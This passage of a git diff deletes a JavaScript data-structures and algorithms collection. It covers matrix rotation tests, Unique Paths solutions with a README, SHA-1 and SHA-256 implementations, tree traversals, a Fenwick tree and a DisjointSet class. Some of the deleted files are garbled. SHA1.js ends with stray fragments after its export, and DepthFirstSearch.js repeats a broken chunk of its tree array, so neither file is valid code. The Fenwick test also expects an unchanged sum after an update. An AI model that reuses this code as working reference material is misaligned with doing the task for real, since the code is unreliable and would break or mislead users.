-            [3, 1],
-            [4, 2]
-        ];
-        expect(squareMatrixRotation(matrix)).toEqual(rotatedMatrix);
-    });
-    it('should rotate matrix #2 in-place', () => {
-        const matrix = [
-            [1, 2, 3],
-            [4, 5, 6],
-            [7, 8, 9]
-        ];
-        const rotatedMatrix = [
-            [7, 4, 1],
-            [8, 5, 2],
-            [9, 6, 3]
-        ];
-        expect(squareMatrixRotation(matrix)).toEqual(rotatedMatrix);
-    });
-    it('should rotate matrix #3 in-place', () => {
-        const matrix = [
-            [5, 1, 9, 11],
-            [2, 4, 8, 10],
-            [13, 3, 6, 7],
-            [15, 14, 12, 16]
-        ];
-        const rotatedMatrix = [
-            [15, 13, 2, 5],
-            [14, 3, 4, 1],
-            [12, 6, 8, 9],
-            [16, 7, 10, 11]
-        ];
-        expect(squareMatrixRotation(matrix)).toEqual(rotatedMatrix);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/README.md
deleted file mode 100644
index 68f6dc184e..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/README.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# Unique Paths Problem
-
-A robot is located at the top-left corner of a `m x n` grid
-(marked 'Start' in the diagram below).
-
-The robot can only move either down or right at any point in
-time. The robot is trying to reach the bottom-right corner
-of the grid (marked 'Finish' in the diagram below).
-
-How many possible unique paths are there?
-
-![Unique Paths](https://leetcode.com/static/images/problemset/robot_maze.png)
-
-## Examples
-
-**Example #1**
-
-```
-Input: m = 3, n = 2
-Output: 3
-Explanation:
-From the top-left corner, there are a total of 3 ways to reach the bottom-right corner:
-1. Right -> Right -> Down
-2. Right -> Down -> Right
-3. Down -> Right -> Right
-```
-
-**Example #2**
-
-```
-Input: m = 7, n = 3
-Output: 28
-```
-
-## Algorithms
-
-### Backtracking
-
-First thought that might came to mind is that we need to build a decision tree
-where `D` means moving down and `R` means moving right. For example in case
-of boars `width = 3` and `height = 2` we will have the following decision tree:
-
-```
-                START
-                /   \
-               D     R
-             /     /   \
-           R      D      R
-         /      /         \
-        R      R            D
-
-       END    END          END
-```
-
-We can see three unique branches here that is the answer to our problem.
-
-**Time Complexity**: `O(2 ^ n)` - roughly in worst case with square board
-of size `n`.
-
-**Auxiliary Space Complexity**: `O(m + n)` - since we need to store current path with
-positions.
-
-### Dynamic Programming
-
-Let's treat `BOARD[i][j]` as our sub-problem.
-
-Since we have restriction of moving only to the right
-and down we might say that number of unique paths to the current
-cell is a sum of numbers of unique paths to the cell above the
-current one and to the cell to the left of current one.
-
-```
-BOARD[i][j] = BOARD[i - 1][j] + BOARD[i][j - 1]; // since we can only move down or right.
-```
-
-Base cases are:
-
-```
-BOARD[0][any] = 1; // only one way to reach any top slot.
-BOARD[any][0] = 1; // only one way to reach any slot in the leftmost column.
-```
-
-For the board `3 x 2` our dynamic programming matrix will look like:
-
-|       |  0  |  1  |  1  |
-| :---: | :-: | :-: | :-: |
-| **0** |  0  |  1  |  1  |
-| **1** |  1  |  2  |  3  |
-
-Each cell contains the number of unique paths to it. We need
-the bottom right one with number `3`.
-
-**Time Complexity**: `O(m * n)` - since we're going through each cell of the DP matrix.
-
-**Auxiliary Space Complexity**: `O(m * n)` - since we need to have DP matrix.
-
-### Pascal's Triangle Based
-
-This question is actually another form of Pascal Triangle.
-
-The corner of this rectangle is at `m + n - 2` line, and
-at `min(m, n) - 1` position of the Pascal's Triangle.
-
-## References
-
--   [LeetCode](https://leetcode.com/problems/unique-paths/description/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/btUniquePaths.js b/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/btUniquePaths.js
deleted file mode 100644
index 857940e2a6..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/btUniquePaths.js
+++ /dev/null
@@ -1,43 +0,0 @@
-/**
- * BACKTRACKING approach of solving Unique Paths problem.
- *
- * @param {number} width - Width of the board.
- * @param {number} height - Height of the board.
- * @param {number[][]} steps - The steps that have been already made.
- * @param {number} uniqueSteps - Total number of unique steps.
- * @return {number} - Number of unique paths.
- */
-export default function btUniquePaths(width, height, steps = [[0, 0]], uniqueSteps = 0) {
-    // Fetch current position on board.
-    const currentPos = steps[steps.length - 1];
-    // Check if we've reached the end.
-    if (currentPos[0] === width - 1 && currentPos[1] === height - 1) {
-        // In case if we've reached the end let's increase total
-        // number of unique steps.
-        return uniqueSteps + 1;
-    }
-    // Let's calculate how many unique path we will have
-    // by going right and by going down.
-    let rightUniqueSteps = 0;
-    let downUniqueSteps = 0;
-    // Do right step if possible.
-    if (currentPos[0] < width - 1) {
-        steps.push([currentPos[0] + 1, currentPos[1]]);
-        // Calculate how many unique paths we'll get by moving right.
-        rightUniqueSteps = btUniquePaths(width, height, steps, uniqueSteps);
-        // BACKTRACK and try another move.
-        steps.pop();
-    }
-    // Do down step if possible.
-    if (currentPos[1] < height - 1) {
-        steps.push([currentPos[0], currentPos[1] + 1]);
-        // Calculate how many unique paths we'll get by moving down.
-        downUniqueSteps = btUniquePaths(width, height, steps, uniqueSteps);
-        // BACKTRACK and try another move.
-        steps.pop();
-    }
-    // Total amount of unique steps will be equal to total amount of
-    // unique steps by going right plus total amount of unique steps
-    // by going down.
-    return rightUniqueSteps + downUniqueSteps;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/dpUniquePaths.js b/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/dpUniquePaths.js
deleted file mode 100644
index 3bddd9ba50..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/dpUniquePaths.js
+++ /dev/null
@@ -1,39 +0,0 @@
-/**
- * DYNAMIC PROGRAMMING approach of solving Unique Paths problem.
- *
- * @param {number} width - Width of the board.
- * @param {number} height - Height of the board.
- * @return {number} - Number of unique paths.
- */
-export default function dpUniquePaths(width, height) {
-    // Init board.
-    const board = Array(height)
-        .fill(null)
-        .map(() => {
-            return Array(width).fill(0);
-        });
-    // Base case.
-    // There is only one way of getting to board[0][any] and
-    // there is also only one way of getting to board[any][0].
-    // This is because we have a restriction of moving right
-    // and down only.
-    for (let rowIndex = 0; rowIndex < height; rowIndex += 1) {
-        for (let columnIndex = 0; columnIndex < width; columnIndex += 1) {
-            if (rowIndex === 0 || columnIndex === 0) {
-                board[rowIndex][columnIndex] = 1;
-            }
-        }
-    }
-    // Now, since we have this restriction of moving only to the right
-    // and down we might say that number of unique paths to the current
-    // cell is a sum of numbers of unique paths to the cell above the
-    // current one and to the cell to the left of current one.
-    for (let rowIndex = 1; rowIndex < height; rowIndex += 1) {
-        for (let columnIndex = 1; columnIndex < width; columnIndex += 1) {
-            const uniquesFromTop = board[rowIndex - 1][columnIndex];
-            const uniquesFromLeft = board[rowIndex][columnIndex - 1];
-            board[rowIndex][columnIndex] = uniquesFromTop + uniquesFromLeft;
-        }
-    }
-    return board[height - 1][width - 1];
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/btUniquePaths.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/btUniquePaths.test.js
deleted file mode 100644
index ecab144e07..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/btUniquePaths.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import btUniquePaths from '../btUniquePaths';
-describe('btUniquePaths', () => {
-    it('should find the number of unique paths on board', () => {
-        expect(btUniquePaths(3, 2)).toBe(3);
-        expect(btUniquePaths(7, 3)).toBe(28);
-        expect(btUniquePaths(3, 7)).toBe(28);
-        expect(btUniquePaths(10, 10)).toBe(48620);
-        expect(btUniquePaths(100, 1)).toBe(1);
-        expect(btUniquePaths(1, 100)).toBe(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/dpUniquePaths.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/dpUniquePaths.test.js
deleted file mode 100644
index 84618194f4..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/dpUniquePaths.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import dpUniquePaths from '../dpUniquePaths';
-describe('dpUniquePaths', () => {
-    it('should find the number of unique paths on board', () => {
-        expect(dpUniquePaths(3, 2)).toBe(3);
-        expect(dpUniquePaths(7, 3)).toBe(28);
-        expect(dpUniquePaths(3, 7)).toBe(28);
-        expect(dpUniquePaths(10, 10)).toBe(48620);
-        expect(dpUniquePaths(100, 1)).toBe(1);
-        expect(dpUniquePaths(1, 100)).toBe(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/uniquePaths.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/uniquePaths.test.js
deleted file mode 100644
index a3d0724412..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/test/uniquePaths.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import uniquePaths from '../uniquePaths';
-describe('uniquePaths', () => {
-    it('should find the number of unique paths on board', () => {
-        expect(uniquePaths(3, 2)).toBe(3);
-        expect(uniquePaths(7, 3)).toBe(28);
-        expect(uniquePaths(3, 7)).toBe(28);
-        expect(uniquePaths(10, 10)).toBe(48620);
-        expect(uniquePaths(100, 1)).toBe(1);
-        expect(uniquePaths(1, 100)).toBe(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/uniquePaths.js b/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/uniquePaths.js
deleted file mode 100644
index 6d6fed57e5..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/unique-paths/uniquePaths.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import pascalTriangle from '../../math/pascal-triangle/pascalTriangle';
-/**
- * @param {number} width
- * @param {number} height
- * @return {number}
- */
-export default function uniquePaths(width, height) {
-    const pascalLine = width + height - 2;
-    const pascalLinePosition = Math.min(width, height) - 1;
-    return pascalTriangle(pascalLine)[pascalLinePosition];
-}
diff --git a/docs/content/DS_ALGO/data-structures/Hashes/SHA1.js b/docs/content/DS_ALGO/data-structures/Hashes/SHA1.js
deleted file mode 100644
index 4ce5a306de..0000000000
--- a/docs/content/DS_ALGO/data-structures/Hashes/SHA1.js
+++ /dev/null
@@ -1,161 +0,0 @@
-//= ===============================================================
-// SHA1.js
-//
-// Module that replicates the SHA-1 Cryptographic Hash
-// function in Javascript.
-//= ===============================================================
-// main variables
-const CHAR_SIZE = 8;
-/**
- * Adds padding to binary/hex string representation
- *
- * @param {string} str - string representation (binary/hex)
- * @param {int} bits - total number of bits wanted
- * @return {string} - string representation padding with empty (0) bits
- *
- * @example
- *      pad("10011", 8); // "00010011"
- */
-function pad(str, bits) {
-    let res = str;
-    while (res.length % bits !== 0) {
-        res = '0' + res;
-    }
-    return res;
-}
-/**
- * Separates string into chunks of the same size
- *
- * @param {string} str - string to separate into chunks
- * @param {int} size - number of characters wanted in each chunk
- * @return {array} - array of original string split into chunks
- *
- * @example
- *      chunkify("this is a test", 2)
- */
-function chunkify(str, size) {
-    const chunks = [];
-    for (let i = 0; i < str.length; i += size) {
-        chunks.push(str.slice(i, i + size));
-    }
-    return chunks;
-}
-/**
- * Rotates string representation of bits to the left
- *
- * @param {string} bits - string representation of bits
- * @param {int} turns - number of rotations to make
- * @return {string} - string representation of bits after rotation
- *
- * @example
- *      rotateLeft("1011", 3); // "1101"
- */
-function rotateLeft(bits, turns) {
-    return bits.substr(turns) + bits.substr(0, turns);
-}
-/**
- * Pre-processes message to feed the algorithm loop
- *
- * @param {string} message - message to pre-process
- * @return {string} - processed message
- */
-function preProcess(message) {
-    // convert message to binary representation padded to
-    // 8 bits, and add 1
-    let m =
-        message
-        .split('')
-        .map((e) => e.charCodeAt(0))
-        .map((e) => e.toString(2))
-        .map((e) => pad(e, 8))
-        .join('') + '1';
-    // extend message by adding empty bits (0)
-    while (m.length % 512 !== 448) {
-        m += '0';
-    }
-    // length of message in binary, padded, and extended
-    // to a 64 bit representation
-    let ml = (message.length * CHAR_SIZE).toString(2);
-    ml = pad(ml, 8);
-    ml = '0'.repeat(64 - ml.length) + ml;
-    return m + ml;
-}
-/**
- * Hashes message using SHA-1 Cryptographic Hash Function
- *
- * @param {string} message - message to hash
- * @return {string} - message digest (hash value)
- */
-function SHA1(message) {
-    // main variables
-    let H0 = 0x67452301;
-    let H1 = 0xefcdab89;
-    let H2 = 0x98badcfe;
-    let H3 = 0x10325476;
-    let H4 = 0xc3d2e1f0;
-    // pre-process message and split into 512 bit chunks
-    const bits = preProcess(message);
-    const chunks = chunkify(bits, 512);
-    chunks.forEach(function(chunk, i) {
-        // break each chunk into 16 32-bit words
-        const words = chunkify(chunk, 32);
-        // extend 16 32-bit words to 80 32-bit words
-        for (let i = 16; i < 80; i++) {
-            const val = [words[i - 3], words[i - 8], words[i - 14], words[i - 16]].map((e) => parseInt(e, 2)).reduce((acc, curr) => curr ^ acc, 0);
-            const bin = (val >>> 0).toString(2);
-            const paddedBin = pad(bin, 32);
-            const word = rotateLeft(paddedBin, 1);
-            words.push(word);
-        }
-        // initialize variables for this chunk
-        let [a, b, c, d, e] = [H0, H1, H2, H3, H4];
-        for (let i = 0; i < 80; i++) {
-            let f, k;
-            if (i < 20) {
-                f = (b & c) | (~b & d);
-                k = 0x5a827999;
-            } else if (i < 40) {
-                f = b ^ c ^ d;
-                k = 0x6ed9eba1;
-            } else if (i < 60) {
-                f = (b & c) | (b & d) | (c & d);
-                k = 0x8f1bbcdc;
-            } else {
-                f = b ^ c ^ d;
-                k = 0xca62c1d6;
-            }
-            // make sure f is unsigned
-            f >>>= 0;
-            const aRot = rotateLeft(pad(a.toString(2), 32), 5);
-            const aInt = parseInt(aRot, 2) >>> 0;
-            const wordInt = parseInt(words[i], 2) >>> 0;
-            const t = aInt + f + e + k + wordInt;
-            e = d >>> 0;
-            d = c >>> 0;
-            const bRot = rotateLeft(pad(b.toString(2), 32), 30);
-            c = parseInt(bRot, 2) >>> 0;
-            b = a >>> 0;
-            a = t >>> 0;
-        }
-        // add values for this chunk to main hash variables (unsigned)
-        H0 = (H0 + a) >>> 0;
-        H1 = (H1 + b) >>> 0;
-        H2 = (H2 + c) >>> 0;
-        H3 = (H3 + d) >>> 0;
-        H4 = (H4 + e) >>> 0;
-    });
-    // combine hash values of main hash variables and return
-    const HH = [H0, H1, H2, H3, H4]
-        .map((e) => e.toString(16))
-        .map((e) => pad(e, 8))
-        .join('');
-    return HH;
-}
-// export SHA1 function
-export {
-    SHA1
-};
-
-SH
-A1
-};
diff --git a/docs/content/DS_ALGO/data-structures/Hashes/SHA256.js b/docs/content/DS_ALGO/data-structures/Hashes/SHA256.js
deleted file mode 100644
index 3566554b28..0000000000
--- a/docs/content/DS_ALGO/data-structures/Hashes/SHA256.js
+++ /dev/null
@@ -1,169 +0,0 @@
-//= ===============================================================
-// SHA256.js
-//
-// Module that replicates the SHA-256 Cryptographic Hash
-// function in Javascript.
-//= ===============================================================
-// main variables
-const CHAR_SIZE = 8;
-const K = [
-    0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74,
-    0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d,
-    0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e,
-    0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
-    0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
-];
-/**
- * Adds padding to binary/hex string representation
- *
- * @param {string} str - string representation (binary/hex)
- * @param {int} bits - total number of bits wanted
- * @return {string} - string representation padding with empty (0) bits
- *
- * @example
- *      pad("10011", 8); // "00010011"
- */
-function pad(str, bits) {
-    let res = str;
-    while (res.length % bits !== 0) {
-        res = '0' + res;
-    }
-    return res;
-}
-/**
- * Separates string into chunks of the same size
- *
- * @param {string} str - string to separate into chunks
- * @param {int} size - number of characters wanted in each chunk
- * @return {array} - array of original string split into chunks
- *
- * @example
- *      chunkify("this is a test", 2)
- */
-function chunkify(str, size) {
-    const chunks = [];
-    for (let i = 0; i < str.length; i += size) {
-        chunks.push(str.slice(i, i + size));
-    }
-    return chunks;
-}
-/**
- * Rotates string representation of bits to th left
- *
- * @param {string} bits - string representation of bits
- * @param {int} turns - number of rotations to make
- * @return {string} - string representation of bits after rotation
- *
- * @example
- *      rotateLeft("1011", 3); // "1101"
- */
-function rotateRight(bits, turns) {
-    return bits.substr(bits.length - turns) + bits.substr(0, bits.length - turns);
-}
-/**
- * Pre-processes message to feed the algorithm loop
- *
- * @param {string} message - message to pre-process
- * @return {string} - processed message
- */
-function preProcess(message) {
-    // convert message to binary representation padded to
-    // 8 bits, and add 1
-    let m =
-        message
-            .split('')
-            .map((e) => e.charCodeAt(0))
-            .map((e) => e.toString(2))
-            .map((e) => pad(e, 8))
-            .join('') + '1';
-    // extend message by adding empty bits (0)
-    while (m.length % 512 !== 448) {
-        m += '0';
-    }
-    // length of message in binary, padded, and extended
-    // to a 64 bit representation
-    let ml = (message.length * CHAR_SIZE).toString(2);
-    ml = pad(ml, 8);
-    ml = '0'.repeat(64 - ml.length) + ml;
-    return m + ml;
-}
-/**
- * Hashes message using SHA-256 Cryptographic Hash Function
- *
- * @param {string} message - message to hash
- * @return {string} - message digest (hash value)
- */
-function SHA256(message) {
-    // initial hash variables
-    let H0 = 0x6a09e667;
-    let H1 = 0xbb67ae85;
-    let H2 = 0x3c6ef372;
-    let H3 = 0xa54ff53a;
-    let H4 = 0x510e527f;
-    let H5 = 0x9b05688c;
-    let H6 = 0x1f83d9ab;
-    let H7 = 0x5be0cd19;
-    // pre-process message and split into 512 bit chunks
-    const bits = preProcess(message);
-    const chunks = chunkify(bits, 512);
-    chunks.forEach(function (chunk, i) {
-        // break each chunk into 16 32-bit words
-        const words = chunkify(chunk, 32);
-        // extend 16 32-bit words to 80 32-bit words
-        for (let i = 16; i < 64; i++) {
-            const W1 = words[i - 15];
-            const W2 = words[i - 2];
-            const R1 = rotateRight(W1, 7);
-            const R2 = rotateRight(W1, 18);
-            const R3 = rotateRight(W2, 17);
-            const R4 = rotateRight(W2, 19);
-            const S0 = parseInt(R1, 2) ^ parseInt(R2, 2) ^ (parseInt(W1, 2) >>> 3);
-            const S1 = parseInt(R3, 2) ^ parseInt(R4, 2) ^ (parseInt(W2, 2) >>> 10);
-            const val = parseInt(words[i - 16], 2) + S0 + parseInt(words[i - 7], 2) + S1;
-            words[i] = pad((val >>> 0).toString(2), 32);
-        }
-        // initialize variables for this chunk
-        let [a, b, c, d, e, f, g, h] = [H0, H1, H2, H3, H4, H5, H6, H7];
-        for (let i = 0; i < 64; i++) {
-            const S1 =
-                [6, 11, 25]
-                    .map((turns) => rotateRight(pad(e.toString(2), 32), turns))
-                    .map((bitstring) => parseInt(bitstring, 2))
-                    .reduce((acc, curr) => acc ^ curr, 0) >>> 0;
-            const CH = ((e & f) ^ (~e & g)) >>> 0;
-            const temp1 = (h + S1 + CH + K[i] + parseInt(words[i], 2)) >>> 0;
-            const S0 =
-                [2, 13, 22]
-                    .map((turns) => rotateRight(pad(a.toString(2), 32), turns))
-                    .map((bitstring) => parseInt(bitstring, 2))
-                    .reduce((acc, curr) => acc ^ curr, 0) >>> 0;
-            const maj = ((a & b) ^ (a & c) ^ (b & c)) >>> 0;
-            const temp2 = (S0 + maj) >>> 0;
-            h = g;
-            g = f;
-            f = e;
-            e = (d + temp1) >>> 0;
-            d = c;
-            c = b;
-            b = a;
-            a = (temp1 + temp2) >>> 0;
-        }
-        // add values for this chunk to main hash variables (unsigned)
-        H0 = (H0 + a) >>> 0;
-        H1 = (H1 + b) >>> 0;
-        H2 = (H2 + c) >>> 0;
-        H3 = (H3 + d) >>> 0;
-        H4 = (H4 + e) >>> 0;
-        H5 = (H5 + f) >>> 0;
-        H6 = (H6 + g) >>> 0;
-        H7 = (H7 + h) >>> 0;
-    });
-    // combine hash values of main hash variables and return
-    const HH = [H0, H1, H2, H3, H4, H5, H6, H7]
-        .map((e) => e.toString(16))
-        .map((e) => pad(e, 8))
-        .join('');
-    return HH;
-}
-// export SHA256 function
-export { SHA256 };
diff --git a/docs/content/DS_ALGO/data-structures/Trees/BreadthFirstTreeTraversal.js b/docs/content/DS_ALGO/data-structures/Trees/BreadthFirstTreeTraversal.js
deleted file mode 100644
index b91d5c4a80..0000000000
--- a/docs/content/DS_ALGO/data-structures/Trees/BreadthFirstTreeTraversal.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
-  Breadth First Tree Traversal or level order traversal implementation in javascript
-  Author: @GerardUbuntu
-*/
-class Node {
-    constructor(data) {
-        this.data = data;
-        this.left = null;
-        this.right = null;
-    }
-}
-class BinaryTree {
-    constructor() {
-        this.root = null;
-        this.traversal = [];
-    }
-    breadthFirst() {
-        const h = this.getHeight(this.root);
-        for (let i = 0; i !== h; i++) {
-            this.traverseLevel(this.root, i);
-        }
-        return this.traversal;
-    }
-    // Computing the height of the tree
-    getHeight(node) {
-        if (node === null) {
-            return 0;
-        }
-        const lheight = this.getHeight(node.left);
-        const rheight = this.getHeight(node.right);
-        return lheight > rheight ? lheight + 1 : rheight + 1;
-    }
-    traverseLevel(node, levelRemaining) {
-        if (node === null) {
-            return;
-        }
-        if (levelRemaining === 0) {
-            this.traversal.push(node.data);
-        } else {
-            this.traverseLevel(node.left, levelRemaining - 1);
-            this.traverseLevel(node.right, levelRemaining - 1);
-        }
-    }
-}
-export { BinaryTree, Node };
diff --git a/docs/content/DS_ALGO/data-structures/Trees/DepthFirstSearch.js b/docs/content/DS_ALGO/data-structures/Trees/DepthFirstSearch.js
deleted file mode 100644
index fe348dbb0d..0000000000
--- a/docs/content/DS_ALGO/data-structures/Trees/DepthFirstSearch.js
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Author: Surendra Kumar
- * DFS Algorithm implementation in JavaScript
- * DFS Algorithm for traversing or searching graph data structures.
- */
-function traverseDFS(root) {
-    const stack = [root];
-    const res = [];
-    while (stack.length) {
-        const curr = stack.pop();
-        res.push(curr.key);
-        if (curr.right) {
-            stack.push(curr.right);
-        }
-        if (curr.left) {
-            stack.push(curr.left);
-        }
-    }
-    return res.reverse();
-}
-function searchDFS(tree, value) {
-    const stack = [];
-    stack.push(tree[0]);
-    while (stack.length !== 0) {
-        for (let i = 0; i < stack.length; i++) {
-            const node = stack.pop();
-            if (node.value === value) {
-                return node;
-            }
-            if (node.right) {
-                stack.push(tree[node.right]);
-            }
-            if (node.left) {
-                stack.push(tree[node.left]);
-            }
-        }
-    }
-    return null;
-}
-const tree = [{
-        value: 6,
-        left: 1,
-        right: 2
-    },
-    {
-        value: 5,
-        left: 3,
-        right: 4
-    },
-    {
-        value: 7,
-        left: null,
-        right: 5
-    },
-    {
-        value: 3,
-        left: 6,
-        right: null
-    },
-    {
-        value: 4,
-        left: null,
-        right: null
-    },
-    {
-        value: 9,
-        left: 7,
-        right: 8
-    },
-    {
-        value: 2,
-        left: 9,
-        right: null
-    },
-    {
-        value: 8,
-        left: null,
-        right: null
-    },
-    {
-        value: 10,
-        left: null,
-        right: null
-    },
-    {
-        value: 1,
-        left: null,
-        right: null
-    }
-];
-searchDFS(tree, 9);
-searchDFS(tree, 10);
-traverseDFS(6);
-//            6
-//           / \
-//          5   7
-//         / \   \
-//        3   4   9
-//       /       / \
-//      2       8   10
-//     /
-//    1
-left: 7,
-    right: 8
-}, {
-    value: 2,
-    left: 9,
-    right: null
-}, {
-    value: 8,
-    left: null,
-    right: null
-}, {
-    value: 10,
-    left: null,
-    right: null
-}, {
-    value: 1,
-    left: null,
-    right: null
-}
-];
-searchDFS(tree, 9);
-searchDFS(tree, 10);
-traverseDFS(6);
-//            6
-//           / \
-//          5   7
-//         / \   \
-//        3   4   9
-//       /       / \
-//      2       8   10
-//     /
-//    1
diff --git a/docs/content/DS_ALGO/data-structures/Trees/FenwickTree.js b/docs/content/DS_ALGO/data-structures/Trees/FenwickTree.js
deleted file mode 100644
index 350a4e8073..0000000000
--- a/docs/content/DS_ALGO/data-structures/Trees/FenwickTree.js
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Author: Mohit Kumar
- * Fedwick Tree Implementation in JavaScript
- * Fedwick Tree Implementation for finding prefix sum.
- */
-class FenwickTree {
-    constructor(feneickArray, array, n) {
-        for (let i = 1; i <= n; i++) {
-            feneickArray[i] = 0;
-        }
-        for (let i = 0; i < n; i++) {
-            this.update(feneickArray, n, i, array[i]);
-        }
-    }
-    update(feneickArray, n, index, value) {
-        index = index + 1;
-        while (index <= n) {
-            feneickArray[index] += value;
-            index += index & -index;
-        }
-    }
-    getPrefixSum(feneickArray, index) {
-        let currSum = 0;
-        index = index + 1;
-        while (index > 0) {
-            currSum += feneickArray[index];
-            index -= index & -index;
-        }
-        return currSum;
-    }
-}
-export { FenwickTree };
diff --git a/docs/content/DS_ALGO/data-structures/Trees/test/BreadthFirstTreeTraversal.test.js b/docs/content/DS_ALGO/data-structures/Trees/test/BreadthFirstTreeTraversal.test.js
deleted file mode 100644
index 4a2ebb24ba..0000000000
--- a/docs/content/DS_ALGO/data-structures/Trees/test/BreadthFirstTreeTraversal.test.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import { BinaryTree, Node } from '../BreadthFirstTreeTraversal';
-describe('Breadth First Tree Traversal', () => {
-    const binaryTree = new BinaryTree();
-    const root = new Node(7);
-    root.left = new Node(5);
-    root.right = new Node(8);
-    root.left.left = new Node(3);
-    root.left.right = new Node(6);
-    root.right.right = new Node(9);
-    binaryTree.root = root;
-    // Visualization :
-    //
-    //            7
-    //           / \
-    //          5   8
-    //         / \   \
-    //        3   6   9
-    it('Binary tree - Level order traversal', () => {
-        expect(binaryTree.traversal).toStrictEqual([]);
-        const traversal = binaryTree.breadthFirst();
-        expect(traversal).toStrictEqual([7, 5, 8, 3, 6, 9]);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/Trees/test/FenwickTree.test.js b/docs/content/DS_ALGO/data-structures/Trees/test/FenwickTree.test.js
deleted file mode 100644
index 30ecd226a7..0000000000
--- a/docs/content/DS_ALGO/data-structures/Trees/test/FenwickTree.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import { FenwickTree } from '../FenwickTree';
-describe('Fenwick Tree Implementation', () => {
-    const fenwickArray = new Array(1000);
-    const array = [3, 2, 0, 6, 5, -1, 2];
-    const length = array.length;
-    const fenwickTree = new FenwickTree(fenwickArray, array, length);
-    it('Fenwick Tree - Prefix sum of array', () => {
-        const prefixSum = fenwickTree.getPrefixSum(fenwickArray, 6);
-        expect(prefixSum).toBe(23);
-    });
-    array[2] += 6;
-    fenwickTree.update(fenwickArray, length, 2, 6);
-    it('Fenwick Tree - Prefix sum of Updated array', () => {
-        const prefixSum = fenwickTree.getPrefixSum(fenwickArray, 6);
-        expect(prefixSum).toBe(23);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/disjoint-set/DisjointSet.js b/docs/content/DS_ALGO/data-structures/disjoint-set/DisjointSet.js
deleted file mode 100644
index 1a859879a8..0000000000
--- a/docs/content/DS_ALGO/data-structures/disjoint-set/DisjointSet.js
+++ /dev/null
@@ -1,78 +0,0 @@
-import DisjointSetItem from './DisjointSetItem';
-export default class DisjointSet {
-    /**
-     * @param {function(value: *)} [keyCallback]
-     */
-    constructor(keyCallback) {
-        this.keyCallback = keyCallback;
-        this.items = {};
-    }
-    /**
-     * @param {*} itemValue
-     * @return {DisjointSet}
-     */
-    makeSet(itemValue) {
-        const disjointSetItem = new DisjointSetItem(itemValue, this.keyCallback);
-        if (!this.items[disjointSetItem.getKey()]) {
-            // Add new item only in case if it not presented yet.
-            this.items[disjointSetItem.getKey()] = disjointSetItem;
-        }
-        return this;
-    }
-    /**
-     * Find set representation node.
-     *
-     * @param {*} itemValue
-     * @return {(string|null)}
-     */
-    find(itemValue) {
-        const templateDisjointItem = new DisjointSetItem(itemValue, this.keyCallback);
-        // Try to find item itself;
-        const requiredDisjointItem = this.items[templateDisjointItem.getKey()];
-        if (!requiredDisjointItem) {
-            return null;
-        }
-        return requiredDisjointItem.getRoot().getKey();
-    }
-    /**
-     * Union by rank.
-     *
-     * @param {*} valueA
-     * @param {*} valueB
-     * @return {DisjointSet}
-     */
-    union(valueA, valueB) {
-        const rootKeyA = this.find(valueA);
-        const rootKeyB = this.find(valueB);
-        if (rootKeyA === null || rootKeyB === null) {
-            throw new Error('One or two values are not in sets');
-        }
-        if (rootKeyA === rootKeyB) {
-            // In case if both elements are already in the same set then just return its key.
-            return this;
-        }
-        const rootA = this.items[rootKeyA];
-        const rootB = this.items[rootKeyB];
-        if (rootA.getRank() < rootB.getRank()) {
-            // If rootB's tree is bigger then make rootB to be a new root.
-            rootB.addChild(rootA);
-            return this;
-        }
